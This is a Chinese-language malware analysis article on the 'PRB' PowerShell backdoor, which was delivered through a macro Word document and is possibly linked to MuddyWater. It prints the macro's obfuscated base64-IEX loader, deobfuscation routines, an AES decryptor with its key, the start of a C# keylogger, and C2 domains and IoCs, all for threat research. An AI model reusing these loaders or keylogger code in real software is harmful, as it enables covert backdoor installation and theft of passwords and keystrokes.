针对恶意PowerShell后门PRB的分析

阅读量    46638 | 评论 1   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

传送门

针对APT攻击组织MuddyWater新样本的分析
https://www.anquanke.com/post/id/113594

 

概述

在几天之前,一位来自ClearSky的大神给了我一个可能与MuddyWater相关的样本。


他们之所以怀疑该样本可能与MuddyWater相关,是因为其诱导方式与之具有相似之处,另外其中某些PowerShell的混淆也有相似之处,特别是字符替换例程。
下图为MuddyWater样本中的部分代码:

下图为新样本中的部分代码:

然而,在经过对样本的分析,并进行调查研究之后,我找到了二者之间的不同之处,并且非常有趣。本文主要介绍我对新样本的分析过程,并重点分析新样本的攻击方法和特征。

 

分析:从传播到宏代码再到PowerShell

我们所分析的新样本,是一个名为“Egyptairplus.doc”的Word文档,其中包含宏,该文档的MD5为fdb4b4520034be269a65cfaee555c52e。在宏代码中,包含一个名为worker()的函数,该函数会调用嵌入在文档中的多个其他函数,以最终运行PowerShell命令:

"powershElL -EXEC bypASS -COmMaND "& {$pth='Document1';$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG aSCIi;FOrEach($I in $DT){iF ($I.Length -Gt 7700){$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG aSCIi;FOrEach($I in $DT){iF ($I.Length -Gt 7700){$rt=$i.sPLIt('**')[2];BREak}};$rt=[syStEm.TExT.eNCODing]::asCII.gEtsTrIng([sysTEm.ConverT]::FROmbaSe64sTriNG($rT));IEX($RT);

该命令会查找嵌入在实际文档中的数据块,以“**”开始,然后将该代码进行Base64解码。其解码后得到的PowerShell脚本如下:

function main
{
    $content="ZnVuY3Rpb24gejB3MnVQZVgoJHNLUHYpewogICAgJHNLUHYgPSAkc0tQdi5Ub0NoYXJBcnJheSgpCiAgICBbYXJyYXldOjpSZXZlcnNlKCRzS1B2KQogICAgJEc4Sm
 ...
 ...
 ...
 ... Truncated code...
 2ZhbHNlIiwgMCkp"
    [string]$decode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($content))
    iex $decode
}
main

我们使用Write-Output替换iex,并运行此代码,就能得到第二层PowerShell脚本(在概述的对比截图中已经展示)。并且,由于该代码使用了字符替换函数,与MuddyWater代码具有相似性。以下是代码片段:

function z0w2uPeX($sKPv){
    $sKPv = $sKPv.ToCharArray()
    [array]::Reverse($sKPv)
    $G8JdH = -join($sKPv)
    return $G8JdH
    }
function FQdZ7EqW($fpuD){
    $fpuD = $fpuD.Replace('#a#', "`n").Replace('#b#', '"').Replace('#c#', "'").Replace('#d#', "$").Replace('#e#', "``")
    return $fpuD
    }
iex(FQdZ7EqW("{4}{5}{6}{1}{2}{0}{3}" -f (z0w2uPeX("1 sd")),"Se","con","0","S","tart-Slee",(z0w2uPeX("- p")), 0))
iex(FQdZ7EqW("{2}{1}{5}{0}{4}{3}" -f (z0w2uPeX(" yeWs60")),(z0w2uPeX("ob")),"[","e",(z0w2uPeX("urT#d# =")),"ol]#d#gS", 0))

当我们使用Write-Output替换所有的iex之后,能够得到可读性更好的代码,如下所示:

此代码仍然包含经过编码后的数据块。其中有两个有趣的部分,是Invoker.ps1和js.hta。
Invoker.ps1脚本用于对主要后门代码进行解密,具体如下所示:

$nxUHOcAE = "0ef4b1acb4394766" #This is the Key used to Decrypt the main Backdoor code
$xWCWwEep = "{path}"
[string]$BJgVSQMa = Get-Content -Path $xWCWwEep -Force
$nl3hMTam = new-object system.security.cryptography.RijndaelManaged
$nl3hMTam.Mode = [System.Security.Cryptography.CipherMode]::ECB
$nl3hMTam.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$nl3hMTam.BlockSize = 128
$nl3hMTam.KeySize = 128
$nl3hMTam.Key = [System.Text.Encoding]::UTF8.GetBytes($nxUHOcAE)
$W9NYYLlk = [System.Convert]::FromBase64String($BJgVSQMa)
$Oj5PebcQ = $nl3hMTam.CreateDecryptor();
$mL9fRirD = $Oj5PebcQ.TransformFinalBlock($W9NYYLlk, 0, $W9NYYLlk.Length);
[string]$Pru8pJC5 = [System.Text.Encoding]::UTF8.GetString($mL9fRirD).Trim('*')
Write-Output $Pru8pJC5 #I replaced iex with Write-Output
while($true){
start-sleep -seconds 3
}

当加密的后门代码经过这个脚本处理之后,就会被解密成完整的后门代码。由于经过处理后的完整后门代码超过2000行,所以我们在本文中只展示后门代码其中的一部分,如下所示:

我们注意到其主函数名称是PRB,因此我将其命名为“PRB-Backdoor”。

 

潜在的C&C信息

我们尝试在沙箱中运行该样本,但没有捕获到任何网络通信。然而,在分析代码的过程中,我很早就注意到了一个值为$hash.httpAddress =”http://outl00k[.]net”的变量,看上去这是后门进行通信的主要域名,适用于该样本中的所有函数。
经过DNS和WHOIS查询,我们得到了关于该域名的更多信息:

Domain Name: outl00k.net
Registrar WHOIS Server: whois.joker.com
Registrar URL: http://joker.com/
Updated Date: 2018-04-25T03:32:22Z
Creation Date: 2018-01-01T11:35:58Z
Registrant Name: Simon Nitoo
Registrant Street: Tehran
Registrant City: Tehran
Registrant State/Province: Tehran
Registrant Postal Code: 231423465
Registrant Country: IR
Registrant Phone: +98.2189763584
Registrant Email: simon.nitoo@chmail.ir
Registry Admin ID:  
Admin Name: Simon Nitoo
Admin Street: Tehran
Admin City: Tehran
Admin State/Province: Tehran
Admin Postal Code: 231423465
Admin Country: IR
Admin Phone: +98.2189763584
Admin Email: simon.nitoo@chmail.ir
Registry Tech ID:  
Tech Name: Simon Nitoo
Tech Street: Tehran
Tech City: Tehran
Tech State/Province: Tehran
Tech Postal Code: 231423465
Tech Country: IR
Tech Phone: +98.2189763584
Tech Email: simon.nitoo@chmail.ir
Name Server: ns1.outl00k.net
Name Server: ns2.outl00k.net

注册者的电子邮件地址也被用于另一个域名LinLedin[.]net,我们发现这两个域名目前都解析为以下IP地址:
outl00k[.]net – 74.91.19[.]118(2018年5月10日前)
LinLedin[.]net – 5.160.124[.]99(2018年4月30日前)

 

后门PRB的函数分析

目前,我还正在对后门的代码进行持续研究,下面是我目前的研究成果。
PRB后门具有以下函数:
1、PRB-CREATEALIVE和PRB-CREATEINTRODUCE:这两个函数推测与恶意后门的通信初始化以及C&C注册相关;

2、PRB-HISTORY:从不同浏览器(包括Chrome、IE和FireFox)获取浏览记录,该函数使用名为GET-HISTORY的子函数来具体实现这一功能;
3、SNAP:获取屏幕截图;
4、sysinfo:获取系统信息;
5、PRB-PASSWORD(密码相关)、PRB-WRITEFILE(写入文件)、PRB-READFILE(读取文件)、PRB-FUNCTUPDATE(函数更新)、PRB-SHELL(Shell相关)、PRB-LOGGER(记录键盘键入)这些函数可以从函数名称中推断出其基本作用,但有待进一步分析验证。
此外,还有其他部分函数,我将会持续进行分析。
另外,值得一提的是,在代码中的某个部分,出现了疑似.NET/C#的代码片段:

   $dsc = @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;

namespace dDumper
{
    public static class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSTEMKEYDOWN = 0x0104;
        private const int WM_KEYUP = 0x0101;
        private const int WM_SYSTEMKEYUP = 0x0105;

 

结语

PRB-Backdoor是一个非常有趣的恶意软件,可以在被感染主机上运行,并收集信息、窃取密码、记录键盘键入,此外还能执行其他许多功能。截至目前我们没有找到该后门程序的发布途径或代码来源。
根据判断,我认为该样本后续还会使用其他的诱导文档,希望捕获到新文档的研究人员也能够深入研究代码,并揭示更多细节。我也会对该样本持续进行分析,但目前的这些分析结论对大家也具有一定的参考价值,希望能借助这一样本对这一系列恶意活动有所了解。

 

IoC

fdb4b4520034be269a65cfaee555c52e
outl00k[.]net
LinLedin[.]net
74.91.19[.]118
5.160.124[.]99

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多